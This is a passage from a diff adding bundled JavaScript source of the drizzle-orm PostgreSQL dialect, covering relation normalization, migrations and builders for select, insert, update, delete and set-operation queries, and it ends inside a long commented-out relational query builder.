tablesConfig[tableName]; + tableConfig.relations[relationName] = relation; + if (primaryKey2) { + tableConfig.primaryKey.push(...primaryKey2); + } + } else { + if (!(dbName in relationsBuffer)) { + relationsBuffer[dbName] = { + relations: {}, + primaryKey: primaryKey2 + }; + } + relationsBuffer[dbName].relations[relationName] = relation; + } + } + } + } + return { tables: tablesConfig, tableNamesMap }; +} +function relations(table2, relations2) { + return new Relations( + table2, + (helpers) => Object.fromEntries( + Object.entries(relations2(helpers)).map(([key, value]) => [ + key, + value.withFieldName(key) + ]) + ) + ); +} +function createOne(sourceTable) { + return function one(table2, config2) { + return new One( + sourceTable, + table2, + config2, + config2?.fields.reduce((res, f) => res && f.notNull, true) ?? false + ); + }; +} +function createMany(sourceTable) { + return function many(referencedTable, config2) { + return new Many(sourceTable, referencedTable, config2); + }; +} +function normalizeRelation(schema, tableNamesMap, relation) { + if (is(relation, One) && relation.config) { + return { + fields: relation.config.fields, + references: relation.config.references + }; + } + const referencedTableTsName = tableNamesMap[getTableUniqueName(relation.referencedTable)]; + if (!referencedTableTsName) { + throw new Error( + `Table "${relation.referencedTable[Table.Symbol.Name]}" not found in schema` + ); + } + const referencedTableConfig = schema[referencedTableTsName]; + if (!referencedTableConfig) { + throw new Error(`Table "${referencedTableTsName}" not found in schema`); + } + const sourceTable = relation.sourceTable; + const sourceTableTsName = tableNamesMap[getTableUniqueName(sourceTable)]; + if (!sourceTableTsName) { + throw new Error( + `Table "${sourceTable[Table.Symbol.Name]}" not found in schema` + ); + } + const reverseRelations = []; + for (const referencedTableRelation of Object.values( + referencedTableConfig.relations + )) { + if (relation.relationName && relation !== referencedTableRelation && referencedTableRelation.relationName === relation.relationName || !relation.relationName && referencedTableRelation.referencedTable === relation.sourceTable) { + reverseRelations.push(referencedTableRelation); + } + } + if (reverseRelations.length > 1) { + throw relation.relationName ? new Error( + `There are multiple relations with name "${relation.relationName}" in table "${referencedTableTsName}"` + ) : new Error( + `There are multiple relations between "${referencedTableTsName}" and "${relation.sourceTable[Table.Symbol.Name]}". Please specify relation name` + ); + } + if (reverseRelations[0] && is(reverseRelations[0], One) && reverseRelations[0].config) { + return { + fields: reverseRelations[0].config.references, + references: reverseRelations[0].config.fields + }; + } + throw new Error( + `There is not enough information to infer relation "${sourceTableTsName}.${relation.fieldName}"` + ); +} +function createTableRelationsHelpers(sourceTable) { + return { + one: createOne(sourceTable), + many: createMany(sourceTable) + }; +} +function mapRelationalRow(tablesConfig, tableConfig, row, buildQueryResultSelection, mapColumnValue = (value) => value) { + const result = {}; + for (const [ + selectionItemIndex, + selectionItem + ] of buildQueryResultSelection.entries()) { + if (selectionItem.isJson) { + const relation = tableConfig.relations[selectionItem.tsKey]; + const rawSubRows = row[selectionItemIndex]; + const subRows = typeof rawSubRows === "string" ? JSON.parse(rawSubRows) : rawSubRows; + result[selectionItem.tsKey] = is(relation, One) ? subRows && mapRelationalRow( + tablesConfig, + tablesConfig[selectionItem.relationTableTsKey], + subRows, + selectionItem.selection, + mapColumnValue + ) : subRows.map( + (subRow) => mapRelationalRow( + tablesConfig, + tablesConfig[selectionItem.relationTableTsKey], + subRow, + selectionItem.selection, + mapColumnValue + ) + ); + } else { + const value = mapColumnValue(row[selectionItemIndex]); + const field = selectionItem.field; + let decoder2; + if (is(field, Column)) { + decoder2 = field; + } else if (is(field, SQL)) { + decoder2 = field.decoder; + } else { + decoder2 = field.sql.decoder; + } + result[selectionItem.tsKey] = value === null ? null : decoder2.mapFromDriverValue(value); + } + } + return result; +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/view-base.js +var PgViewBase = class extends View { + static [entityKind] = "PgViewBase"; +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/dialect.js +var PgDialect = class { + static [entityKind] = "PgDialect"; + /** @internal */ + casing; + constructor(config2) { + this.casing = new CasingCache(config2?.casing); + } + async migrate(migrations, session, config2) { + const migrationsTable = typeof config2 === "string" ? "__drizzle_migrations" : config2.migrationsTable ?? "__drizzle_migrations"; + const migrationsSchema = typeof config2 === "string" ? "drizzle" : config2.migrationsSchema ?? "drizzle"; + const migrationTableCreate = sql` + CREATE TABLE IF NOT EXISTS ${sql.identifier(migrationsSchema)}.${sql.identifier(migrationsTable)} ( + id SERIAL PRIMARY KEY, + hash text NOT NULL, + created_at bigint + ) + `; + await session.execute(sql`CREATE SCHEMA IF NOT EXISTS ${sql.identifier(migrationsSchema)}`); + await session.execute(migrationTableCreate); + const dbMigrations = await session.all( + sql`select id, hash, created_at from ${sql.identifier(migrationsSchema)}.${sql.identifier(migrationsTable)} order by created_at desc limit 1` + ); + const lastDbMigration = dbMigrations[0]; + await session.transaction(async (tx) => { + for await (const migration of migrations) { + if (!lastDbMigration || Number(lastDbMigration.created_at) < migration.folderMillis) { + for (const stmt of migration.sql) { + await tx.execute(sql.raw(stmt)); + } + await tx.execute( + sql`insert into ${sql.identifier(migrationsSchema)}.${sql.identifier(migrationsTable)} ("hash", "created_at") values(${migration.hash}, ${migration.folderMillis})` + ); + } + } + }); + } + escapeName(name) { + return `"${name.replace(/"/g, '""')}"`; + } + escapeParam(num) { + return `$${num + 1}`; + } + escapeString(str) { + return `'${str.replace(/'/g, "''")}'`; + } + buildWithCTE(queries) { + if (!queries?.length) return void 0; + const withSqlChunks = [sql`with `]; + for (const [i, w] of queries.entries()) { + withSqlChunks.push(sql`${sql.identifier(w._.alias)} as (${w._.sql})`); + if (i < queries.length - 1) { + withSqlChunks.push(sql`, `); + } + } + withSqlChunks.push(sql` `); + return sql.join(withSqlChunks); + } + buildDeleteQuery({ table: table2, where, returning, withList }) { + const withSql = this.buildWithCTE(withList); + const returningSql = returning ? sql` returning ${this.buildSelection(returning, { isSingleTable: true })}` : void 0; + const whereSql = where ? sql` where ${where}` : void 0; + return sql`${withSql}delete from ${table2}${whereSql}${returningSql}`; + } + buildUpdateSet(table2, set2) { + const tableColumns = table2[Table.Symbol.Columns]; + const columnNames = Object.keys(tableColumns).filter( + (colName) => set2[colName] !== void 0 || tableColumns[colName]?.onUpdateFn !== void 0 + ); + const setSize = columnNames.length; + return sql.join(columnNames.flatMap((colName, i) => { + const col = tableColumns[colName]; + const onUpdateFnResult = col.onUpdateFn?.(); + const value = set2[colName] ?? (is(onUpdateFnResult, SQL) ? onUpdateFnResult : sql.param(onUpdateFnResult, col)); + const res = sql`${sql.identifier(this.casing.getColumnCasing(col))} = ${value}`; + if (i < setSize - 1) { + return [res, sql.raw(", ")]; + } + return [res]; + })); + } + buildUpdateQuery({ table: table2, set: set2, where, returning, withList, from, joins }) { + const withSql = this.buildWithCTE(withList); + const tableName = table2[PgTable.Symbol.Name]; + const tableSchema = table2[PgTable.Symbol.Schema]; + const origTableName = table2[PgTable.Symbol.OriginalName]; + const alias = tableName === origTableName ? void 0 : tableName; + const tableSql = sql`${tableSchema ? sql`${sql.identifier(tableSchema)}.` : void 0}${sql.identifier(origTableName)}${alias && sql` ${sql.identifier(alias)}`}`; + const setSql = this.buildUpdateSet(table2, set2); + const fromSql = from && sql.join([sql.raw(" from "), this.buildFromTable(from)]); + const joinsSql = this.buildJoins(joins); + const returningSql = returning ? sql` returning ${this.buildSelection(returning, { isSingleTable: !from })}` : void 0; + const whereSql = where ? sql` where ${where}` : void 0; + return sql`${withSql}update ${tableSql} set ${setSql}${fromSql}${joinsSql}${whereSql}${returningSql}`; + } + /** + * Builds selection SQL with provided fields/expressions + * + * Examples: + * + * `select from` + * + * `insert ... returning ` + * + * If `isSingleTable` is true, then columns won't be prefixed with table name + */ + buildSelection(fields, { isSingleTable = false } = {}) { + const columnsLen = fields.length; + const chunks2 = fields.flatMap(({ field }, i) => { + const chunk = []; + if (is(field, SQL.Aliased) && field.isSelectionField) { + chunk.push(sql.identifier(field.fieldAlias)); + } else if (is(field, SQL.Aliased) || is(field, SQL)) { + const query = is(field, SQL.Aliased) ? field.sql : field; + if (isSingleTable) { + chunk.push( + new SQL( + query.queryChunks.map((c) => { + if (is(c, PgColumn)) { + return sql.identifier(this.casing.getColumnCasing(c)); + } + return c; + }) + ) + ); + } else { + chunk.push(query); + } + if (is(field, SQL.Aliased)) { + chunk.push(sql` as ${sql.identifier(field.fieldAlias)}`); + } + } else if (is(field, Column)) { + if (isSingleTable) { + chunk.push(sql.identifier(this.casing.getColumnCasing(field))); + } else { + chunk.push(field); + } + } else if (is(field, Subquery)) { + const entries = Object.entries(field._.selectedFields); + if (entries.length === 1) { + const entry = entries[0][1]; + const fieldDecoder = is(entry, SQL) ? entry.decoder : is(entry, Column) ? { mapFromDriverValue: (v) => entry.mapFromDriverValue(v) } : entry.sql.decoder; + if (fieldDecoder) { + field._.sql.decoder = fieldDecoder; + } + } + chunk.push(field); + } + if (i < columnsLen - 1) { + chunk.push(sql`, `); + } + return chunk; + }); + return sql.join(chunks2); + } + buildJoins(joins) { + if (!joins || joins.length === 0) { + return void 0; + } + const joinsArray = []; + for (const [index2, joinMeta] of joins.entries()) { + if (index2 === 0) { + joinsArray.push(sql` `); + } + const table2 = joinMeta.table; + const lateralSql = joinMeta.lateral ? sql` lateral` : void 0; + const onSql = joinMeta.on ? sql` on ${joinMeta.on}` : void 0; + if (is(table2, PgTable)) { + const tableName = table2[PgTable.Symbol.Name]; + const tableSchema = table2[PgTable.Symbol.Schema]; + const origTableName = table2[PgTable.Symbol.OriginalName]; + const alias = tableName === origTableName ? void 0 : joinMeta.alias; + joinsArray.push( + sql`${sql.raw(joinMeta.joinType)} join${lateralSql} ${tableSchema ? sql`${sql.identifier(tableSchema)}.` : void 0}${sql.identifier(origTableName)}${alias && sql` ${sql.identifier(alias)}`}${onSql}` + ); + } else if (is(table2, View)) { + const viewName = table2[ViewBaseConfig].name; + const viewSchema = table2[ViewBaseConfig].schema; + const origViewName = table2[ViewBaseConfig].originalName; + const alias = viewName === origViewName ? void 0 : joinMeta.alias; + joinsArray.push( + sql`${sql.raw(joinMeta.joinType)} join${lateralSql} ${viewSchema ? sql`${sql.identifier(viewSchema)}.` : void 0}${sql.identifier(origViewName)}${alias && sql` ${sql.identifier(alias)}`}${onSql}` + ); + } else { + joinsArray.push( + sql`${sql.raw(joinMeta.joinType)} join${lateralSql} ${table2}${onSql}` + ); + } + if (index2 < joins.length - 1) { + joinsArray.push(sql` `); + } + } + return sql.join(joinsArray); + } + buildFromTable(table2) { + if (is(table2, Table) && table2[Table.Symbol.IsAlias]) { + let fullName = sql`${sql.identifier(table2[Table.Symbol.OriginalName])}`; + if (table2[Table.Symbol.Schema]) { + fullName = sql`${sql.identifier(table2[Table.Symbol.Schema])}.${fullName}`; + } + return sql`${fullName} ${sql.identifier(table2[Table.Symbol.Name])}`; + } + return table2; + } + buildSelectQuery({ + withList, + fields, + fieldsFlat, + where, + having, + table: table2, + joins, + orderBy, + groupBy, + limit, + offset, + lockingClause, + distinct, + setOperators + }) { + const fieldsList = fieldsFlat ?? orderSelectedFields(fields); + for (const f of fieldsList) { + if (is(f.field, Column) && getTableName(f.field.table) !== (is(table2, Subquery) ? table2._.alias : is(table2, PgViewBase) ? table2[ViewBaseConfig].name : is(table2, SQL) ? void 0 : getTableName(table2)) && !((table22) => joins?.some( + ({ alias }) => alias === (table22[Table.Symbol.IsAlias] ? getTableName(table22) : table22[Table.Symbol.BaseName]) + ))(f.field.table)) { + const tableName = getTableName(f.field.table); + throw new Error( + `Your "${f.path.join("->")}" field references a column "${tableName}"."${f.field.name}", but the table "${tableName}" is not part of the query! Did you forget to join it?` + ); + } + } + const isSingleTable = !joins || joins.length === 0; + const withSql = this.buildWithCTE(withList); + let distinctSql; + if (distinct) { + distinctSql = distinct === true ? sql` distinct` : sql` distinct on (${sql.join(distinct.on, sql`, `)})`; + } + const selection = this.buildSelection(fieldsList, { isSingleTable }); + const tableSql = this.buildFromTable(table2); + const joinsSql = this.buildJoins(joins); + const whereSql = where ? sql` where ${where}` : void 0; + const havingSql = having ? sql` having ${having}` : void 0; + let orderBySql; + if (orderBy && orderBy.length > 0) { + orderBySql = sql` order by ${sql.join(orderBy, sql`, `)}`; + } + let groupBySql; + if (groupBy && groupBy.length > 0) { + groupBySql = sql` group by ${sql.join(groupBy, sql`, `)}`; + } + const limitSql = typeof limit === "object" || typeof limit === "number" && limit >= 0 ? sql` limit ${limit}` : void 0; + const offsetSql = offset ? sql` offset ${offset}` : void 0; + const lockingClauseSql = sql.empty(); + if (lockingClause) { + const clauseSql = sql` for ${sql.raw(lockingClause.strength)}`; + if (lockingClause.config.of) { + clauseSql.append( + sql` of ${sql.join( + Array.isArray(lockingClause.config.of) ? lockingClause.config.of : [lockingClause.config.of], + sql`, ` + )}` + ); + } + if (lockingClause.config.noWait) { + clauseSql.append(sql` nowait`); + } else if (lockingClause.config.skipLocked) { + clauseSql.append(sql` skip locked`); + } + lockingClauseSql.append(clauseSql); + } + const finalQuery = sql`${withSql}select${distinctSql} ${selection} from ${tableSql}${joinsSql}${whereSql}${groupBySql}${havingSql}${orderBySql}${limitSql}${offsetSql}${lockingClauseSql}`; + if (setOperators.length > 0) { + return this.buildSetOperations(finalQuery, setOperators); + } + return finalQuery; + } + buildSetOperations(leftSelect, setOperators) { + const [setOperator, ...rest] = setOperators; + if (!setOperator) { + throw new Error("Cannot pass undefined values to any set operator"); + } + if (rest.length === 0) { + return this.buildSetOperationQuery({ leftSelect, setOperator }); + } + return this.buildSetOperations( + this.buildSetOperationQuery({ leftSelect, setOperator }), + rest + ); + } + buildSetOperationQuery({ + leftSelect, + setOperator: { type, isAll, rightSelect, limit, orderBy, offset } + }) { + const leftChunk = sql`(${leftSelect.getSQL()}) `; + const rightChunk = sql`(${rightSelect.getSQL()})`; + let orderBySql; + if (orderBy && orderBy.length > 0) { + const orderByValues = []; + for (const singleOrderBy of orderBy) { + if (is(singleOrderBy, PgColumn)) { + orderByValues.push(sql.identifier(singleOrderBy.name)); + } else if (is(singleOrderBy, SQL)) { + for (let i = 0; i < singleOrderBy.queryChunks.length; i++) { + const chunk = singleOrderBy.queryChunks[i]; + if (is(chunk, PgColumn)) { + singleOrderBy.queryChunks[i] = sql.identifier(chunk.name); + } + } + orderByValues.push(sql`${singleOrderBy}`); + } else { + orderByValues.push(sql`${singleOrderBy}`); + } + } + orderBySql = sql` order by ${sql.join(orderByValues, sql`, `)} `; + } + const limitSql = typeof limit === "object" || typeof limit === "number" && limit >= 0 ? sql` limit ${limit}` : void 0; + const operatorChunk = sql.raw(`${type} ${isAll ? "all " : ""}`); + const offsetSql = offset ? sql` offset ${offset}` : void 0; + return sql`${leftChunk}${operatorChunk}${rightChunk}${orderBySql}${limitSql}${offsetSql}`; + } + buildInsertQuery({ table: table2, values: valuesOrSelect, onConflict, returning, withList, select: select2, overridingSystemValue_ }) { + const valuesSqlList = []; + const columns = table2[Table.Symbol.Columns]; + const colEntries = Object.entries(columns).filter(([_, col]) => !col.shouldDisableInsert()); + const insertOrder = colEntries.map( + ([, column]) => sql.identifier(this.casing.getColumnCasing(column)) + ); + if (select2) { + const select22 = valuesOrSelect; + if (is(select22, SQL)) { + valuesSqlList.push(select22); + } else { + valuesSqlList.push(select22.getSQL()); + } + } else { + const values2 = valuesOrSelect; + valuesSqlList.push(sql.raw("values ")); + for (const [valueIndex, value] of values2.entries()) { + const valueList = []; + for (const [fieldName, col] of colEntries) { + const colValue = value[fieldName]; + if (colValue === void 0 || is(colValue, Param) && colValue.value === void 0) { + if (col.defaultFn !== void 0) { + const defaultFnResult = col.defaultFn(); + const defaultValue = is(defaultFnResult, SQL) ? defaultFnResult : sql.param(defaultFnResult, col); + valueList.push(defaultValue); + } else if (!col.default && col.onUpdateFn !== void 0) { + const onUpdateFnResult = col.onUpdateFn(); + const newValue = is(onUpdateFnResult, SQL) ? onUpdateFnResult : sql.param(onUpdateFnResult, col); + valueList.push(newValue); + } else { + valueList.push(sql`default`); + } + } else { + valueList.push(colValue); + } + } + valuesSqlList.push(valueList); + if (valueIndex < values2.length - 1) { + valuesSqlList.push(sql`, `); + } + } + } + const withSql = this.buildWithCTE(withList); + const valuesSql = sql.join(valuesSqlList); + const returningSql = returning ? sql` returning ${this.buildSelection(returning, { isSingleTable: true })}` : void 0; + const onConflictSql = onConflict ? sql` on conflict ${onConflict}` : void 0; + const overridingSql = overridingSystemValue_ === true ? sql`overriding system value ` : void 0; + return sql`${withSql}insert into ${table2} ${insertOrder} ${overridingSql}${valuesSql}${onConflictSql}${returningSql}`; + } + buildRefreshMaterializedViewQuery({ view, concurrently, withNoData }) { + const concurrentlySql = concurrently ? sql` concurrently` : void 0; + const withNoDataSql = withNoData ? sql` with no data` : void 0; + return sql`refresh materialized view${concurrentlySql} ${view}${withNoDataSql}`; + } + prepareTyping(encoder2) { + if (is(encoder2, PgJsonb) || is(encoder2, PgJson)) { + return "json"; + } else if (is(encoder2, PgNumeric)) { + return "decimal"; + } else if (is(encoder2, PgTime)) { + return "time"; + } else if (is(encoder2, PgTimestamp) || is(encoder2, PgTimestampString)) { + return "timestamp"; + } else if (is(encoder2, PgDate) || is(encoder2, PgDateString)) { + return "date"; + } else if (is(encoder2, PgUUID)) { + return "uuid"; + } else { + return "none"; + } + } + sqlToQuery(sql22, invokeSource) { + return sql22.toQuery({ + casing: this.casing, + escapeName: this.escapeName, + escapeParam: this.escapeParam, + escapeString: this.escapeString, + prepareTyping: this.prepareTyping, + invokeSource + }); + } + // buildRelationalQueryWithPK({ + // fullSchema, + // schema, + // tableNamesMap, + // table, + // tableConfig, + // queryConfig: config, + // tableAlias, + // isRoot = false, + // joinOn, + // }: { + // fullSchema: Record; + // schema: TablesRelationalConfig; + // tableNamesMap: Record; + // table: PgTable; + // tableConfig: TableRelationalConfig; + // queryConfig: true | DBQueryConfig<'many', true>; + // tableAlias: string; + // isRoot?: boolean; + // joinOn?: SQL; + // }): BuildRelationalQueryResult { + // // For { "": true }, return a table with selection of all columns + // if (config === true) { + // const selectionEntries = Object.entries(tableConfig.columns); + // const selection: BuildRelationalQueryResult['selection'] = selectionEntries.map(( + // [key, value], + // ) => ({ + // dbKey: value.name, + // tsKey: key, + // field: value as PgColumn, + // relationTableTsKey: undefined, + // isJson: false, + // selection: [], + // })); + // return { + // tableTsKey: tableConfig.tsName, + // sql: table, + // selection, + // }; + // } + // // let selection: BuildRelationalQueryResult['selection'] = []; + // // let selectionForBuild = selection; + // const aliasedColumns = Object.fromEntries( + // Object.entries(tableConfig.columns).map(([key, value]) => [key, aliasedTableColumn(value, tableAlias)]), + // ); + // const aliasedRelations = Object.fromEntries( + // Object.entries(tableConfig.relations).map(([key, value]) => [key, aliasedRelation(value, tableAlias)]), + // ); + // const aliasedFields = Object.assign({}, aliasedColumns, aliasedRelations); + // let where, hasUserDefinedWhere; + // if (config.where) { + // const whereSql = typeof config.where === 'function' ? config.where(aliasedFields, operators) : config.where; + // where = whereSql && mapColumnsInSQLToAlias(whereSql, tableAlias); + // hasUserDefinedWhere = !!where; + // } + // where = and(joinOn, where); + // // const fieldsSelection: { tsKey: string; value: PgColumn | SQL.Aliased; isExtra?: boolean }[] = []; + // let joins: Join[] = []; + // let selectedColumns: string[] = []; + // // Figure out which columns to select + // if (config.columns) { + // let isIncludeMode = false; + // for (const [field, value] of Object.entries(config.columns)) { + // if (value === undefined) { + // continue; + // } + // if (field in tableConfig.columns) { + // if (!isIncludeMode && value === true) { + // isIncludeMode = true; + // } + // selectedColumns.push(field); + // } + // } + // if (selectedColumns.length > 0) { + // selectedColumns = isIncludeMode + // ? selectedColumns.filter((c) => config.columns?.[c] === true) + // : Object.keys(tableConfig.columns).filter((key) => !selectedColumns.includes(key)); + // } + // } else { + // // Select all columns if selection is not specified + // selectedColumns = Object.keys(tableConfig.columns); + // } + // // for (const field of selectedColumns) { + // // const column = tableConfig.columns[field]! as PgColumn; + // // fieldsSelection.push({ tsKey: field, value: column }); + // // } + // let initiallySelectedRelations: { + // tsKey: string; + // queryConfig: true | DBQueryConfig<'many', false>; + // relation: Relation; + // }[] = []; + // // let selectedRelations: BuildRelationalQueryResult['selection'] = []; + // // Figure out which relations to select + // if (config.with) { + // initiallySelectedRelations = Object.entries(config.with) + // .filter((entry): entry is [typeof entry[0], NonNullable] => !!entry[1]) + // .map(([tsKey, queryConfig]) => ({ tsKey, queryConfig, relation: tableConfig.relations[tsKey]! })); + // } + // const manyRelations = initiallySelectedRelations.filter((r) => + // is(r.relation, Many) + // && (schema[tableNamesMap[r.relation.referencedTable[Table.Symbol.Name]]!]?.primaryKey.length ?? 0) > 0 + // ); + // // If this is the last Many relation (or there are no Many relations), we are on the innermost subquery level + // const isInnermostQuery = manyRelations.length < 2; + // const selectedExtras: { + // tsKey: string; + // value: SQL.Aliased; + // }[] = []; + // // Figure out which extras to select + // if (isInnermostQuery && config.extras) { + // const extras = typeof config.extras === 'function' + // ? config.extras(aliasedFields, { sql }) + // : config.extras; + // for (const [tsKey, value] of Object.entries(extras)) { + // selectedExtras.push({ + // tsKey, + // value: mapColumnsInAliasedSQLToAlias(value, tableAlias), + // }); + // } + // } + // // Transform `fieldsSelection` into `selection` + // // `fieldsSelection` shouldn't be used after this point + // // for (const { tsKey, value, isExtra } of fieldsSelection) { + // // selection.push({ + // // dbKey: is(value, SQL.Aliased) ? value.fieldAlias : tableConfig.columns[tsKey]!.name, + // // tsKey, + // // field: is(value, Column) ? aliasedTableColumn(value, tableAlias) : value, + // // relationTableTsKey: undefined, + // // isJson: false, + // // isExtra, + // // selection: [], + // // }); + // // } + // let orderByOrig = typeof config.orderBy === 'function' + // ? config.orderBy(aliasedFields, orderByOperators) + // : config.orderBy ?? []; + // if (!Array.isArray(orderByOrig)) { + // orderByOrig = [orderByOrig]; + // } + // const orderBy = orderByOrig.map((orderByValue) => { + // if (is(orderByValue, Column)) { + // return aliasedTableColumn(orderByValue, tableAlias) as PgColumn; + // } + // return mapColumnsInSQLToAlias(orderByValue, tableAlias); + // }); + // const limit = isInnermostQuery ? config.limit : undefined; + // const offset = isInnermostQuery ? config.offset : undefined; + // // For non-root queries without additional config except columns, return a table with selection + // if ( + // !isRoot + // && initiallySelectedRelations.length === 0 + // && selectedExtras.length === 0 + // && !where + // && orderBy.length === 0 + // && limit === undefined + // && offset === undefined + // ) { + // return { + // tableTsKey: tableConfig.tsName, + // sql: table, + // selection: selectedColumns.map((key) => ({ + // dbKey: tableConfig.columns[key]!.name, + // tsKey: key, + // field: tableConfig.columns[key] as PgColumn, + // relationTableTsKey: undefined, + // isJson: false, + // selection: [], + // })), + // }; + // } + // const selectedRelationsWithoutPK: + // // Process all relations without primary keys, because they need to be joined differently and will all be on the same query level + // for ( + // const { + // tsKey: selectedRelationTsKey, + // queryConfig: selectedRelationConfigValue, + // relation, + // } of initiallySelectedRelations + // ) { + // const normalizedRelation = normalizeRelation(schema, tableNamesMap, relation); + // const relationTableName = relation.referencedTable[Table.Symbol.Name]; + // const relationTableTsName = tableNamesMap[relationTableName]!; + // const relationTable = schema[relationTableTsName]!; + // if (relationTable.primaryKey.length > 0) { + // continue; + // } + // const relationTableAlias = `${tableAlias}_${selectedRelationTsKey}`; + // const joinOn = and( + // ...normalizedRelation.fields.map((field, i) => + // eq( + // aliasedTableColumn(normalizedRelation.references[i]!, relationTableAlias), + // aliasedTableColumn(field, tableAlias), + // ) + // ), + // ); + // const builtRelation = this.buildRelationalQueryWithoutPK({ + // fullSchema, + // schema, + // tableNamesMap, + // table: fullSchema[relationTableTsName] as PgTable, + // tableConfig: schema[relationTableTsName]!, + // queryConfig: selectedRelationConfigValue, + // tableAlias: relationTableAlias, + // joinOn, + // nestedQueryRelation: relation, + // }); + // const field = sql`${sql.identifier(relationTableAlias)}.${sql.identifier('data')}`.as(selectedRelationTsKey); + // joins.push({ + // on: sql`true`, + // table: new Subquery(builtRelation.sql as SQL, {}, relationTableAlias), + // alias: relationTableAlias, + // joinType: 'left', + // lateral: true, + // }); + // selectedRelations.push({ + // dbKey: selectedRelationTsKey, + // tsKey: selectedRelationTsKey, + // field, + // relationTableTsKey: relationTableTsName, + // isJson: true, + // selection: builtRelation.selection, + // }); + // } + // const oneRelations = initiallySelectedRelations.filter((r): r is typeof r & { relation: One } => + // is(r.relation, One) + // ); + // // Process all One relations with PKs, because they can all be joined on the same level + // for ( + // const { + // tsKey: selectedRelationTsKey, + // queryConfig: selectedRelationConfigValue, + // relation, + // } of oneRelations + // ) { + // const normalizedRelation = normalizeRelation(schema, tableNamesMap, relation); + // const relationTableName = relation.referencedTable[Table.Symbol.Name]; + // const relationTableTsName = tableNamesMap[relationTableName]!; + // const relationTableAlias = `${tableAlias}_${selectedRelationTsKey}`; + // const relationTable = schema[relationTableTsName]!; + // if (relationTable.primaryKey.length === 0) { + // continue; + // } + // const joinOn = and( + // ...normalizedRelation.fields.map((field, i) => + // eq( + // aliasedTableColumn(normalizedRelation.references[i]!, relationTableAlias), + // aliasedTableColumn(field, tableAlias), + // ) + // ), + // ); + // const builtRelation = this.buildRelationalQueryWithPK({ + // fullSchema, + // schema, + // tableNamesMap, + // table: fullSchema[relationTableTsName] as PgTable, + // tableConfig: schema[relationTableTsName]!, + // queryConfig: selectedRelationConfigValue, + // tableAlias: relationTableAlias, + // joinOn, + // }); + // const field = sql`case when ${sql.identifier(relationTableAlias)} is null then null else json_build_array(${ + // sql.join( + // builtRelation.selection.map(({ field }) => + // is(field, SQL.Aliased) + // ? sql`${sql.identifier(relationTableAlias)}.${sql.identifier(field.fieldAlias)}` + // : is(field, Column) + // ? aliasedTableColumn(field, relationTableAlias) + // : field + // ), + // sql`, `, + // ) + // }) end`.as(selectedRelationTsKey); + // const isLateralJoin = is(builtRelation.sql, SQL); + // joins.push({ + // on: isLateralJoin ? sql`true` : joinOn, + // table: is(builtRelation.sql, SQL) + // ? new Subquery(builtRelation.sql, {}, relationTableAlias) + // : aliasedTable(builtRelation.sql, relationTableAlias), + // alias: relationTableAlias, + // joinType: 'left', + // lateral: is(builtRelation.sql, SQL), + // }); + // selectedRelations.push({ + // dbKey: selectedRelationTsKey, + // tsKey: selectedRelationTsKey, + // field, + // relationTableTsKey: relationTableTsName, + // isJson: true, + // selection: builtRelation.selection, + // }); + // } + // let distinct: PgSelectConfig['distinct']; + // let tableFrom: PgTable | Subquery = table; + // // Process first Many relation - each one requires a nested subquery + // const manyRelation = manyRelations[0]; + // if (manyRelation) { + // const { + // tsKey: selectedRelationTsKey, + // queryConfig: selectedRelationQueryConfig, + // relation, + // } = manyRelation; + // distinct = { + // on: tableConfig.primaryKey.map((c) => aliasedTableColumn(c as PgColumn, tableAlias)), + // }; + // const normalizedRelation = normalizeRelation(schema, tableNamesMap, relation); + // const relationTableName = relation.referencedTable[Table.Symbol.Name]; + // const relationTableTsName = tableNamesMap[relationTableName]!; + // const relationTableAlias = `${tableAlias}_${selectedRelationTsKey}`; + // const joinOn = and( + // ...normalizedRelation.fields.map((field, i) => + // eq( + // aliasedTableColumn(normalizedRelation.references[i]!, relationTableAlias), + // aliasedTableColumn(field, tableAlias), + // ) + // ), + // ); + // const builtRelationJoin = this.buildRelationalQueryWithPK({ + // fullSchema, + // schema, + // tableNamesMap, + // table: fullSchema[relationTableTsName] as PgTable, + // tableConfig: schema[relationTableTsName]!, + // queryConfig: selectedRelationQueryConfig, + // tableAlias: relationTableAlias, + // joinOn, + // }); + // const builtRelationSelectionField = sql`case when ${ + // sql.identifier(relationTableAlias) + // } is null then '[]' else json_agg(json_build_array(${ + // sql.join( + // builtRelationJoin.selection.map(({ field }) => + // is(field, SQL.Aliased) + // ? sql`${sql.identifier(relationTableAlias)}.${sql.identifier(field.fieldAlias)}` + // : is(field, Column) + // ? aliasedTableColumn(field, relationTableAlias) + // : field + // ), + // sql`, `, + // ) + // })) over (partition by ${sql.join(distinct.on, sql`, `)}) end`.as(selectedRelationTsKey); + // const isLateralJoin = is(builtRelationJoin.sql, SQL); + // joins.push({ + // on: isLateralJoin ? sql`true` : joinOn, + // table: isLateralJoin + // ? new Subquery(builtRelationJoin.sql as SQL, {}, relationTableAlias) + // : aliasedTable(builtRelationJoin.sql as PgTable, relationTableAlias), + // alias: relationTableAlias, + // joinType: 'left', + // lateral: isLateralJoin, + // }); + // // Build the "from" subquery with the remaining Many relations + // const builtTableFrom = this.buildRelationalQueryWithPK({ + // fullSchema, + // schema, + // tableNamesMap, + // table, + // tableConfig, + // queryConfig: { + // ...config, + // where: undefined, + // orderBy: undefined, + // limit: undefined, + // offset: undefined, + // with: manyRelations.slice(1).reduce>( + // (result, { tsKey, queryConfig: configValue }) => { + // result[tsKey] = configValue; + // return result; + // }, + // {}, + // ), + // }, + // tableAlias, + // }); + // selectedRelations.push({ + // dbKey: selectedRelationTsKey, + // tsKey: selectedRelationTsKey, + // field: builtRelationSelectionField, + // relationTableTsKey: relationTableTsName, + // isJson: true, + // selection: builtRelationJoin.selection, + // }); + // // selection = builtTableFrom.selection.map((item) => + // // is(item.field, SQL.Aliased) + // // ? { ...item, field: sql`${sql.identifier(tableAlias)}.${sql.identifier(item.field.fieldAlias)}` } + // // : item + // // ); + // // selectionForBuild = [{ + // // dbKey: '*', + // // tsKey: '*', + // // field: sql`${sql.identifier(tableAlias)}.*`, + // // selection: [], + // // isJson: false, + // // relationTableTsKey: undefined, + // // }]; + // // const newSelectionItem: (typeof selection)[number] = { + // // dbKey: selectedRelationTsKey, + // // tsKey: selectedRelationTsKey, + // // field, + // // relationTableTsKey: relationTableTsName, + // // isJson: true, + // // selection: builtRelationJoin.selection, + // // }; + // // selection.push(newSelectionItem); + // // selectionForBuild.push(newSelectionItem); + // tableFrom = is(builtTableFrom.sql, 